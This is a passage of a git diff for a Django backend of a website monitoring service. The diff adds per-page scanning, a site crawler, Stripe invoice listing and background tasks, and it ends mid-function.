@@ -299,6 +364,7 @@ def check_scan_completion(scan):
     # deciding if done
     if finished is True:
         time_completed = datetime.now()
+        update_page_info(scan)
         update_site_info(scan)
         scan.time_completed = time_completed
         scan.save()
@@ -318,45 +384,46 @@ def _html_and_logs(scan_id):
         returns -> `Scan` <obj>
     """
     scan = Scan.objects.get(id=scan_id)
+    try:
+        if scan.configs['driver'] == 'selenium':
 
-    if scan.configs['driver'] == 'selenium':
-
-        driver = driver_s_init(
-            window_size=scan.configs['window_size'], 
-            device=scan.configs['device']
-        )
-        driver.get(scan.site.site_url)
-        if 'html' in scan.type or 'full' in scan.type:
-            html = driver.page_source
-            scan = Scan.objects.get(id=scan_id)
-            scan.html = html
-            scan.save()
-        if 'logs' in scan.type or 'full' in scan.type:
-            logs = driver.get_log('browser')
-            scan = Scan.objects.get(id=scan_id)
-            scan.logs = logs
-            scan.save()
-        quit_driver(driver)
-
-
-    if scan.configs['driver'] == 'puppeteer':
-        
-        driver_data = asyncio.run(
-            get_data(
-                url=scan.site.site_url, 
-                configs=scan.configs
+            driver = driver_s_init(
+                window_size=scan.configs['window_size'], 
+                device=scan.configs['device']
             )
-        )
-        if 'html' in scan.type or 'full' in scan.type:
-            html = driver_data['html']
-            scan = Scan.objects.get(id=scan_id)
-            scan.html = html
-            scan.save()
-        if 'logs' in scan.type or 'full' in scan.type:
-            logs = driver_data['logs']
-            scan = Scan.objects.get(id=scan_id)
-            scan.logs = logs
-            scan.save()
+            driver.get(scan.page.page_url)
+            if 'html' in scan.type or 'full' in scan.type:
+                html = driver.page_source
+                scan = Scan.objects.get(id=scan_id)
+                scan.html = html
+                scan.save()
+            if 'logs' in scan.type or 'full' in scan.type:
+                logs = driver.get_log('browser')
+                scan = Scan.objects.get(id=scan_id)
+                scan.logs = logs
+                scan.save()
+            quit_driver(driver)
+
+        if scan.configs['driver'] == 'puppeteer':
+            
+            driver_data = asyncio.run(
+                get_data(
+                    url=scan.page.page_url, 
+                    configs=scan.configs
+                )
+            )
+            if 'html' in scan.type or 'full' in scan.type:
+                html = driver_data['html']
+                scan = Scan.objects.get(id=scan_id)
+                scan.html = html
+                scan.save()
+            if 'logs' in scan.type or 'full' in scan.type:
+                logs = driver_data['logs']
+                scan = Scan.objects.get(id=scan_id)
+                scan.logs = logs
+                scan.save()
+    except Exception as e:
+        print(e)
 
 
     # checking if scan is done
@@ -376,18 +443,22 @@ def _vrt(scan_id):
         returns -> `Scan` <obj>
     """
     scan = Scan.objects.get(id=scan_id)
-    if scan.configs['driver'] == 'selenium':
-        driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device'])
-        images = Image().scan(site=scan.site, driver=driver, configs=scan.configs)
-        quit_driver(driver)
-
-    if scan.configs['driver'] == 'puppeteer':
-        images = asyncio.run(Image().scan_p(site=scan.site, configs=scan.configs))
     
-    # updating Scan object
-    scan = Scan.objects.get(id=scan_id)
-    scan.images = images
-    scan.save()
+    try:
+        if scan.configs['driver'] == 'selenium':
+            driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device'])
+            images = Image().scan(scan=scan, driver=driver, configs=scan.configs)
+            quit_driver(driver)
+
+        if scan.configs['driver'] == 'puppeteer':
+            images = asyncio.run(Image().scan_p(scan=scan, configs=scan.configs))
+        
+        # updating Scan object
+        scan = Scan.objects.get(id=scan_id)
+        scan.images = images
+        scan.save()
+    except Exception as e:
+        print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan)
@@ -407,13 +478,16 @@ def _lighthouse(scan_id):
     """
     scan = Scan.objects.get(id=scan_id)
 
-    # running lighthouse
-    lh_data = Lighthouse(site=scan.site, configs=scan.configs).get_data() 
-    
-    # updating Scan object
-    scan = Scan.objects.get(id=scan_id)
-    scan.lighthouse = lh_data
-    scan.save()
+    try:
+        # running lighthouse
+        lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
+        
+        # updating Scan object
+        scan = Scan.objects.get(id=scan_id)
+        scan.lighthouse = lh_data
+        scan.save()
+    except Exception as e:
+        print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan)
@@ -433,14 +507,17 @@ def _yellowlab(scan_id):
         returns -> `Scan` <obj>
     """ 
     scan = Scan.objects.get(id=scan_id)
-
-    # running yellowlab
-    yl_data = Yellowlab(site=scan.site, configs=scan.configs).get_data()
     
-    # updating Scan object
-    scan = Scan.objects.get(id=scan_id)
-    scan.yellowlab = yl_data
-    scan.save()
+    try:
+        # running yellowlab
+        yl_data = Yellowlab(scan=scan, configs=scan.configs).get_data()
+        
+        # updating Scan object
+        scan = Scan.objects.get(id=scan_id)
+        scan.yellowlab = yl_data
+        scan.save()
+    except Exception as e:
+        print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan)
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index d5dd0d4a..1ce335a0 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -1,4 +1,4 @@
-from ..models import Site, Scan, Test
+from ..models import *
 import time, os, sys, json, random, string, re
 from difflib import SequenceMatcher, HtmlDiff, Differ
 from datetime import datetime
@@ -399,17 +399,41 @@ def delta_yellowlab(self):
 
     def update_site_info(self, test):
         site = test.site
+
+        # get pages
+        pages = Page.objects.filter(site=site)
+
+        # get latest tests of pages
+        tests = []
+        for page in pages:
+            if Test.objects.filter(page=page).exists():
+                _test = Test.objects.filter(page=page).order_by('-time_completed')[0]
+                if _test.score is not None:
+                    tests.append(_test.score)
+        
+        # calc site average of latest
+        site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
+
         site.info['latest_test']['id'] = str(test.id)
         site.info['latest_test']['time_created'] = str(test.time_created)
         site.info['latest_test']['time_completed'] = str(test.time_completed)
-        site.info['latest_test']['score'] = (round(test.score * 100) / 100)
+        site.info['latest_test']['score'] = site_avg_test_score
         site.save()
 
         return site
-        
 
 
 
+    def update_page_info(self, test):
+        page = test.page
+        page.info['latest_test']['id'] = str(test.id)
+        page.info['latest_test']['time_created'] = str(test.time_created)
+        page.info['latest_test']['time_completed'] = str(test.time_completed)
+        page.info['latest_test']['score'] = (round(test.score * 100) / 100)
+        page.save()
+
+        return page
+        
 
 
 
@@ -588,6 +612,7 @@ def run_test(self, index=None):
 
         self.test.save()
 
+        self.update_page_info(self.test)
         self.update_site_info(self.test)
 
         return self.test
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index ea3e11b6..2c0eb08f 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -8,15 +8,17 @@ class Yellowlab():
     """Initializes Yellow Lab Tools CLI and runs an audit of the site"""
 
 
-    def __init__(self, site=None, configs=None):
-        self.site = site
+    def __init__(self, scan=None, configs=None):
+        self.scan = scan
+        self.site = self.scan.site
+        self.page = self.scan.page
         self.configs = configs
 
     
     def init_audit(self):
         proc = subprocess.Popen([
                 'yellowlabtools', 
-                self.site.site_url,
+                self.page.page_url,
                 f'--device={self.configs["device"]}'
                 ], 
             stdout=subprocess.PIPE,
diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py
index 10392b78..997007b8 100644
--- a/app/api/v1/auth/alerts.py
+++ b/app/api/v1/auth/alerts.py
@@ -143,6 +143,9 @@ def send_remove_alert(member):
 
         sendgrid_email(message_obj=context)
 
+        # delete member obj
+        member.delete()
+
         # html_message = render_to_string('api/alert_no_button.html', context)
         # plain_message = strip_tags(html_message)
         # send_mail(
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 77f4d9ab..57dbb5ad 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -69,7 +69,7 @@ class Meta:
         model = Account
         fields = ['id', 'active', 'time_created', 'type',
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
-        'user', 'code', 'name',
+        'user', 'code', 'name', 'price_amount',
         ]
 
 
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 96fa4eec..6f36b4ff 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -18,6 +18,7 @@
 from slack_sdk.web import WebClient
 from .serializers import *
 from .alerts import *
+from ...tasks import send_invite_link_bg, send_remove_alert_bg
 from rest_framework.response import Response
 from rest_framework.pagination import LimitOffsetPagination
 from django.contrib.auth.middleware import get_user
@@ -458,11 +459,11 @@ def create_or_update_member(request=None, *args, **kwargs):
         )
 
     if _status == 'pending':
-        send_invite_link(member)
+        send_invite_link_bg.delay(member_id=member.id)
     
     if _status == 'removed':
-        send_remove_alert(member)
-        member.delete()
+        # method also deletes member
+        send_remove_alert_bg.delay(member_id=member.id)
         data = {'message': 'Member removed'}
         response = Response(data, status=status.HTTP_200_OK)
         return response
diff --git a/app/api/v1/billing/urls.py b/app/api/v1/billing/urls.py
index c39951f6..e8250160 100644
--- a/app/api/v1/billing/urls.py
+++ b/app/api/v1/billing/urls.py
@@ -13,6 +13,7 @@
     path('complete-subscription', views.CompleteSubscription.as_view(), name='complete_subscription'),
     path('stripe-key', views.StripeKey.as_view(), name='stripe_key'),
     path('get-info', views.GetBillingInfo.as_view(), name='get_billing_info'),
+    path('get-invoices', views.StripeInvoice.as_view(), name='stripe_invoices'),
     path('account-activation', views.AccountActivation.as_view(), name='account_activation')
 
 ]
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index 4ed57c74..2b67a26f 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -190,6 +190,8 @@ def post(self, request):
             'plan': {
                 'name': account.type,
                 'active': account.active,
+                'price_amount': account.price_amount,
+                'max_sites': account.max_sites,
                 'slack': {
                     'slack_name': account.slack['slack_name'], 
                     'bot_user_id': account.slack['bot_user_id'], 
@@ -278,6 +280,7 @@ def post(self, request):
             product_id = product.id,
             price_id = price.id,
             max_sites = max_sites,
+            price_amount = price_amount,
         )        
 
         data = {
@@ -311,6 +314,8 @@ def post(self, request):
                 'plan': {
                     'name': account.type,
                     'active': account.active,
+                    'price_amount': account.price_amount,
+                    'max_sites': account.max_sites,
                     'slack': {
                         'slack_name': account.slack['slack_name'], 
                         'bot_user_id': account.slack['bot_user_id'], 
@@ -380,4 +385,38 @@ def post(self, request):
             }
 
         return Response(data, status=status.HTTP_200_OK)
-        
\ No newline at end of file
+        
+
+
+
+
+class StripeInvoice(APIView):
+    permission_classes = (AllowAny,)
+    https_method_names = ['get',]
+
+    def get(self, request):
+        account = Account.objects.get(user=request.user)
+        stripe.api_key = settings.STRIPE_PRIVATE
+
+        data = {"message": "no Account found"}
+        if account.cust_id is not None:
+            invoice_body = stripe.Invoice.list(
+                customer=account.cust_id,
+            )
+            
+            i_list = []
+            for invoice in invoice_body.data:
+                obj = {
+                    'id': invoice.id,
+                    'status': invoice.status,
+                    'price_amount': invoice.lines.data[0]['price']['unit_amount'],
+                    'created': invoice.created
+                }
+                i_list.append(obj)
+            data = {
+                'has_more': invoice_body.has_more,
+                'data': i_list
+            }
+
+        return Response(data, status=status.HTTP_200_OK)
+
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index a74996b7..22e62084 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -46,14 +46,28 @@ class Meta:
         ]
 
 
+class PageSerializer(serializers.HyperlinkedModelSerializer):
+    user = serializers.ReadOnlyField(source='user.username')
+    id = serializers.PrimaryKeyRelatedField(**kwargs)
+    account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
+    site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
+
+    class Meta:
+        model = Page
+        fields = ['id', 'user', 'site', 'page_url', 'time_created', 'info',
+        'tags', 'account',
+        ]
+
+
 class ScanSerializer(serializers.HyperlinkedModelSerializer):
     site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs)
+    page = serializers.PrimaryKeyRelatedField(source='page.id',**kwargs)
     paired_scan = serializers.PrimaryKeyRelatedField(source='paired_scan.id',**kwargs)
     id = serializers.PrimaryKeyRelatedField(**kwargs)
 
     class Meta:
         model = Scan
-        fields = ['id', 'site', 'paired_scan', 'time_created',
+        fields = ['id', 'site', 'page', 'paired_scan', 'time_created',
         'time_completed', 'html', 'logs', 'lighthouse', 'yellowlab', 
         'images', 'configs', 'tags', 'type',
         ]
@@ -61,6 +75,7 @@ class Meta:
 
 class SmallScanSerializer(serializers.HyperlinkedModelSerializer):
     site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs)
+    page = serializers.PrimaryKeyRelatedField(source='page.id',**kwargs)
     paired_scan = serializers.PrimaryKeyRelatedField(source='paired_scan.id',**kwargs)
     lighthouse = serializers.SerializerMethodField()
     yellowlab = serializers.SerializerMethodField()
@@ -74,20 +89,21 @@ def get_yellowlab(self, obj):
 
     class Meta:
         model = Scan
-        fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', 
+        fields = ['id', 'site', 'page', 'paired_scan', 'time_created', 'logs', 
         'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags',
         ]
 
         
 class TestSerializer(serializers.HyperlinkedModelSerializer):
-    site = serializers.PrimaryKeyRelatedField(**kwargs)
-    pre_scan = serializers.PrimaryKeyRelatedField(**kwargs)
+    site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
+    page = serializers.PrimaryKeyRelatedField(source='page.id', **kwargs)
+    pre_scan = serializers.PrimaryKeyRelatedField(source='pre_scan.id', **kwargs)
     post_scan = serializers.PrimaryKeyRelatedField(source='post_scan.id',**kwargs)
     id = serializers.PrimaryKeyRelatedField(**kwargs)
 
     class Meta:
         model = Test
-        fields = ['id', 'site', 'time_created', 'time_completed',
+        fields = ['id', 'site', 'page', 'time_created', 'time_completed',
         'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta',
         'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type',
         'tags', 'pre_scan_configs', 'post_scan_configs', 'component_scores',
@@ -95,14 +111,15 @@ class Meta:
 
 
 class SmallTestSerializer(serializers.HyperlinkedModelSerializer):
-    site = serializers.PrimaryKeyRelatedField(**kwargs)
-    pre_scan = serializers.PrimaryKeyRelatedField(**kwargs)
+    site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs)
+    page = serializers.PrimaryKeyRelatedField(source='page.id', **kwargs)
+    pre_scan = serializers.PrimaryKeyRelatedField(source='pre_scan.id', **kwargs)
     post_scan = serializers.PrimaryKeyRelatedField(source='post_scan.id',**kwargs)
     id = serializers.PrimaryKeyRelatedField(**kwargs)
 
     class Meta:
         model = Test
-        fields = ['id', 'site', 'time_created', 'time_completed',
+        fields = ['id', 'site', 'page', 'time_created', 'time_completed',
         'pre_scan', 'post_scan', 'score', 'lighthouse_delta', 
         'yellowlab_delta', 'tags', 'component_scores', 
         ]
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index da27dd42..2f194862 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -15,6 +15,7 @@
 from ...utils.wordpress import Wordpress as W
 from ...utils.wordpress_p import Wordpress as W_P
 from ...utils.caser import Caser
+from ...utils.crawler import Crawler
 
 
 
@@ -48,17 +49,27 @@ def record_api_call(request, data, status):
 
 
 
-def check_account(request):
-    if Member.objects.filter(user=request.user).exists():
-        member = Member.objects.get(user=request.user)
+def check_account(request=None, user=None):
+    if request is not None:
+        user = request.user
+    if Member.objects.filter(user=user).exists():
+        member = Member.objects.get(user=user)
         return member.account.active
     else:
         return False
 
 
 
+
+
+
+
+
+
+
 def create_site(request, delay=False):
     site_url = request.data.get('site_url')
+    page_urls = request.data.get('page_urls')
     user = request.user
     account = Member.objects.get(user=user).account
     sites = Site.objects.filter(account=account)
@@ -72,7 +83,7 @@ def create_site(request, delay=False):
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
-    account_is_active = check_account(request)
+    account_is_active = check_account(request=request)
     if not account_is_active:
         data = {'reason': 'account not funded',}
         record_api_call(request, data, '402')
@@ -113,26 +124,52 @@ def create_site(request, delay=False):
 
         if no_scan == False:
             if delay == True:
-                scan = Scan.objects.create(
-                    site=site, 
-                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
-                    configs=configs,
-                )
-                # running scans in parallel
-                if 'html' or 'logs'  or 'full' in types:
-                    run_html_and_logs_bg.delay(scan_id=scan.id)
-                if 'lighthouse' or 'full' in types:
-                    run_lighthouse_bg.delay(scan_id=scan.id)
-                if 'yellowlab' or 'full' in types:
-                    run_yellowlab_bg.delay(scan_id=scan.id)
-                if 'vrt' or 'full' in types:
-                    run_vrt_bg.delay(scan_id=scan.id)
-                # create_site_bg.delay(site.id, scan.id, configs)
-                site.info["latest_scan"]["id"] = str(scan.id)
-                site.info["latest_scan"]["time_created"] = str(scan.time_created)
+                # adding pages passed in request
+                if page_urls is not None:
+                    for url in page_urls:
+                        if url.startswith(site.site_url):
+                            # add new page
+                            page = Page.objects.create(
+                                site=site,
+                                page_url=url,
+                                user=site.user,
+                                account=site.account,
+                            )
+                            create_scan(
+                                page_id=page.id, 
+                                configs=configs, 
+                                user_id=request.user.id,
+                                delay=True
+                            )
+                else:
+                    create_site_and_pages_bg.delay(site_id=site.id, configs=configs)
+                site.info["latest_scan"]["time_created"] = str(datetime.now())
                 site.save()
+
             else:
-                S(site=site, configs=configs).first_scan()
+                # running crawler
+                pages = Crawler(url=site.site_url, max_urls=account.max_pages).get_links()
+                for url in pages:
+                    # add new page
+                    page = Page.objects.create(
+                        site=site,
+                        page_url=url,
+                        user=site.user,
+                        account=site.account,
+                    )
+                    # create initial scan
+                    scan = Scan.objects.create(
+                        site=site,
+                        page=page, 
+                        type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                        configs=configs
+                    )
+                    # run each scan component
+                    S(site=site, page=page, configs=configs).first_scan()
+                    page.info["latest_scan"]["id"] = str(scan.id)
+                    page.info["latest_scan"]["time_created"] = str(scan.time_created)
+                    page.save()
+                
 
         serializer_context = {'request': request,}
         serialized = SiteSerializer(site, context=serializer_context)
@@ -144,6 +181,51 @@ def create_site(request, delay=False):
 
 
 
+def crawl_site(request, id):
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    account_is_active = check_account(request=request)
+    if not account_is_active:
+        data = {'reason': 'account not funded',}
+        record_api_call(request, data, '402')
+        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+    try:
+        site = Site.objects.get(id=id)
+    except:
+        data = {'reason': 'cannot find a Site with that id'}
+        record_api_call(request, data, '404')
+        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    
+    if site.account != account:
+        data = {'reason': 'cannot crawl a Site you do not own',}
+        record_api_call(request, data, '403')
+        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    
+    configs = request.data.get('configs', None)
+    if not configs:
+        configs = {
+            'window_size': '1920,1080',
+            'interval': 5,
+            'driver': 'selenium',
+            'device': 'desktop',
+            'mask_ids': None,
+            'min_wait_time': 10,
+            'max_wait_time': 60,
+            'timeout': 300,
+            'disable_animations': False
+        }
+
+    crawl_site_bg.delay(site_id=site.id, configs=configs)
+
+    serializer_context = {'request': request,}
+    serialized = SiteSerializer(site, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
+
+
 
 
 def get_sites(request):
@@ -162,7 +244,7 @@ def get_sites(request):
             return Response(data, status=status.HTTP_404_NOT_FOUND)
         
         if site.account != account:
-            data = {'reason': 'retrieve a Site you do not own',}
+            data = {'reason': 'cannot retrieve a Site you do not own',}
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         serializer_context = {'request': request,}
         serialized = SiteSerializer(site, context=serializer_context)
@@ -181,6 +263,7 @@ def get_sites(request):
 
 
 
+
 def delete_site(request, id):
     user = request.user
     account = Member.objects.get(user=user).account
@@ -209,6 +292,8 @@ def delete_site(request, id):
     return response
 
 
+
+
 def delete_many_sites(request):
     ids = request.data.get('ids')
     user = request.user
@@ -237,7 +322,7 @@ def delete_many_sites(request):
                 this_status = False
 
         data = {
-            'status': this_status,
+            'success': this_status,
             'num_succeeded': num_succeeded,
             'succeeded': succeeded,
             'num_failed': num_failed,
@@ -256,276 +341,663 @@ def delete_many_sites(request):
 
 
 
-def create_test(request, delay=False):
-    # get data from request
-    configs = request.data.get('configs', None)
-    pre_scan_id = request.data.get('pre_scan', None)
-    post_scan_id = request.data.get('post_scan', None)
-    index = request.data.get('index', None)
-    test_type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
-    tags = request.data.get('tags', None)
-    pre_scan = None
-    post_scan = None
+
+
+
+
+
+
+
+def create_page(request, delay=False):
     site_id = request.data.get('site_id')
+    page_url = request.data.get('page_url')
+    page_urls = request.data.get('page_urls')
     user = request.user
     account = Member.objects.get(user=user).account
+    site = Site.objects.get(id=site_id)
+    pages = Page.objects.filter(site=site)
 
-    account_is_active = check_account(request)
+    if page_urls is not None:
+        data = create_many_pages(request=request, obj_response=False)
+        record_api_call(request, data, '201')
+        response = Response(data, status=status.HTTP_201_CREATED)
+        return response
+
+    if page_url.endswith('/'):
+        page_url = page_url.rstrip('/')
+
+    if page_url is None or page_url == '':
+        data = {'reason': 'the page_url cannot be empty',}
+        record_api_call(request, data, '400')
+        return Response(data, status=status.HTTP_400_BAD_REQUEST)
+
+    account_is_active = check_account(request=request)
     if not account_is_active:
         data = {'reason': 'account not funded',}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
-    site = Site.objects.get(id=site_id, )
-    if site.account != account:
-        data = {'reason': 'create a Test of a Site you do not own'}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
-
-    if len(test_type) == 0:
-        test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
-    
-    if not configs:
-        configs = {
-            'window_size': '1920,1080',
-            'interval': 5,
-            'driver': 'selenium',
-            'device': 'desktop',
-            'mask_ids': None,
-            'min_wait_time': 10,
-            'max_wait_time': 60,
-            'timeout': 300,
-            'disable_animations': False
-        }
+    if pages.count() >= account.max_pages:
+        data = {'reason': 'maximum number of pages reached',}
+        record_api_call(request, data, '402')
+        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
-    if not Scan.objects.filter(site=site).exists():
-        data = {'reason': 'Site not yet onboarded'}
-        record_api_call(request, data, '400')
-        return Response(data, status=status.HTTP_400_BAD_REQUEST)
-    
-    if pre_scan_id:
-        try:
-            pre_scan = Scan.objects.get(id=pre_scan_id)
-        except:
-            data = {'reason': 'cannot find a Scan with that id - pre_scan '}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-    if post_scan_id:
-        try:
-            post_scan = Scan.objects.get(id=post_scan_id)
-        except:
-            data = {'reason': 'cannot find a Scan with that id - post_scan '}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
+    if Page.objects.filter(page_url=page_url, user=user).exists():
+        data = {'reason': 'page already exists',}
+        record_api_call(request, data, '409')
+        return Response(data, status=status.HTTP_409_CONFLICT)
+    else:
+        tags = request.data.get('tags', None)
+        configs = request.data.get('configs', None)
+        no_scan = request.data.get('no_scan', False)
+        page = Page.objects.create(
+            site=site,
+            page_url=page_url,
+            user=user,
+            tags=tags,
+            account=account
+        )
 
-    # grabbing most recent Scan 
-    if pre_scan_id is None:
-        pre_scan = Scan.objects.filter(site=site).order_by('-time_created')[0]
+        if not configs:
+            configs = {
+                'window_size': '1920,1080',
+                'interval': 5,
+                'driver': 'selenium',
+                'device': 'desktop',
+                'mask_ids': None,
+                'min_wait_time': 10,
+                'max_wait_time': 60,
+                'timeout': 300,
+                'disable_animations': False
+            }
 
-    if pre_scan:
-        if pre_scan.time_completed == None:
-            data = {'reason': 'pre_scan still running'}
-            record_api_call(request, data, '400')
-            return Response(data, status=status.HTTP_400_BAD_REQUEST)
-    
-    if post_scan:
-        if post_scan.time_completed == None:
-            data = {'reason': 'post_scan still running'}
-            record_api_call(request, data, '400')
-            return Response(data, status=status.HTTP_400_BAD_REQUEST)
+        if no_scan == False:
 
+            # create initial scan
+            scan = Scan.objects.create(
+                site=site,
+                page=page, 
+                type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                configs=configs
+            )
+            page.info["latest_scan"]["id"] = str(scan.id)
+            page.info["latest_scan"]["time_created"] = str(scan.time_created)
+            page.save()
 
-    # creating test object
-    test = Test.objects.create(
-        site=site,
-        type=test_type,
-        tags=tags,
-    )
+            if delay == True:
+                scan_page_bg.delay(scan_id=scan.id, configs=configs)
 
-    
-    if delay == True:
-        create_test_bg.delay(
-            test_id=test.id,
-            configs=configs,
-            type=test_type,
-            index=index,
-            pre_scan=pre_scan_id, 
-            post_scan=post_scan_id,
-            tags=tags,
-        )
-        data = {
-            'status': True,
-            'message': 'test is being created in the background',
-            'id': str(test.id),
-        }
-        record_api_call(request, data, '201')
-        return Response(data, status=status.HTTP_201_CREATED)
-    
-    else:
-        if not pre_scan and not post_scan:
-            new_scan = S(site=site, configs=configs, type=test_type)
-            post_scan = new_scan.second_scan()
-            pre_scan = post_scan.paired_scan
-
-        if not post_scan and pre_scan:
-            post_scan = S(site=site, scan=pre_scan, configs=configs, type=test_type).second_scan()
-
-        # updating parired scans
-        pre_scan.paired_scan = post_scan
-        post_scan.paried_scan = pre_scan
-        pre_scan.save()
-        post_scan.save()
-
-        # updating test object
-        test.type = test_type
-        test.type = test_type
-        test.pre_scan = pre_scan
-        test.post_scan = post_scan
-        test.save()
-
-        # running tester
-        updated_test = T(test=test).run_test(index=index)
+            else:
+                # create initial scan
+                scan = Scan.objects.create(
+                    site=site,
+                    page=page, 
+                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    configs=configs
+                )
+                # run each scan component
+                S(site=site, page=page, configs=configs).first_scan()
+                page.info["latest_scan"]["id"] = str(scan.id)
+                page.info["latest_scan"]["time_created"] = str(scan.time_created)
+                page.save()
+                
 
         serializer_context = {'request': request,}
-        serialized = TestSerializer(updated_test, context=serializer_context)
+        serialized = PageSerializer(page, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '201')
         response = Response(data, status=status.HTTP_201_CREATED)
-        return response 
+        return response
+
+
+
+
+def create_many_pages(request, obj_response=False):
+    site_id = request.data.get('site_id')
+    page_urls = request.data.get('page_urls')
+    user = request.user
+    account = Member.objects.get(user=user).account
+    site = Site.objects.get(id=site_id)
+    pages = Page.objects.filter(site=site)
+
+    account_is_active = check_account(request=request)
+    if not account_is_active:
+        data = {'reason': 'account not funded',}
+        record_api_call(request, data, '402')
+        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+
+    if pages.count() >= account.max_pages:
+        data = {'reason': 'maximum number of pages reached',}
+        record_api_call(request, data, '402')
+        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+
+    count = len(page_urls)
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    for url in page_urls:
+
+        if url.endswith('/'):
+            url = url.rstrip('/')
+
+        if not Page.objects.filter(page_url=url, user=user).exists():
+            
+            # adding pages
+            tags = request.data.get('tags', None)
+            configs = request.data.get('configs', None)
+            no_scan = request.data.get('no_scan', False)
+            page = Page.objects.create(
+                site=site,
+                page_url=url,
+                user=user,
+                tags=tags,
+                account=account
+            )
+
+            if not configs:
+                configs = {
+                    'window_size': '1920,1080',
+                    'interval': 5,
+                    'driver': 'selenium',
+                    'device': 'desktop',
+                    'mask_ids': None,
+                    'min_wait_time': 10,
+                    'max_wait_time': 60,
+                    'timeout': 300,
+                    'disable_animations': False
+                }
+
+            if no_scan == False:
+
+                # create initial scan
+                scan = Scan.objects.create(
+                    site=site,
+                    page=page, 
+                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    configs=configs
+                )
+                page.info["latest_scan"]["id"] = str(scan.id)
+                page.info["latest_scan"]["time_created"] = str(scan.time_created)
+                page.save()
+                
+                # run scanner
+                scan_page_bg.delay(scan_id=scan.id, configs=configs)
 
+                # update info
+                succeeded.append(url)
+                num_succeeded = num_succeeded + 1
 
+        else:
+            # update info
+            this_status = False
+            failed.append(url)
+            num_failed = num_failed + 1
 
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
+    if obj_response:
+        record_api_call(request, data, '201')
+        response = Response(data, status=status.HTTP_201_CREATED)
+        return response
+    return data
 
 
 
 
 
-def get_tests(request):
+def get_pages(request):
+    site_id = request.query_params.get('site_id')
+    page_id = request.query_params.get('page_id')
     user = request.user
     account = Member.objects.get(user=user).account
-    test_id = request.query_params.get('test_id')
-    site_id = request.query_params.get('site_id')
-    time_begin = request.query_params.get('time_begin')
-    time_end = request.query_params.get('time_end')
-    lean = request.query_params.get('lean')
-    
 
-    if test_id != None:
+    if page_id is None and site_id is None:
+        data = {'reason': 'must provide a Site or Page id'}
+        record_api_call(request, data, '400')
+        return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
+
+    if site_id != None:
+        
         try:
-            test = Test.objects.get(id=test_id)
+            site = Site.objects.get(id=site_id)
+            print('got site')
         except:
-            data = {'reason': 'cannot find a Test with that id'}
+            data = {'reason': 'cannot find a Site with that id'}
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        if test.site.account != account:
-            data = {'reason': 'retrieve Tests of a Site you do not own'}
-            record_api_call(request, data, '403')
+        
+        if site.account != account:
+            data = {'reason': 'cannot retrieve a Site you do not own',}
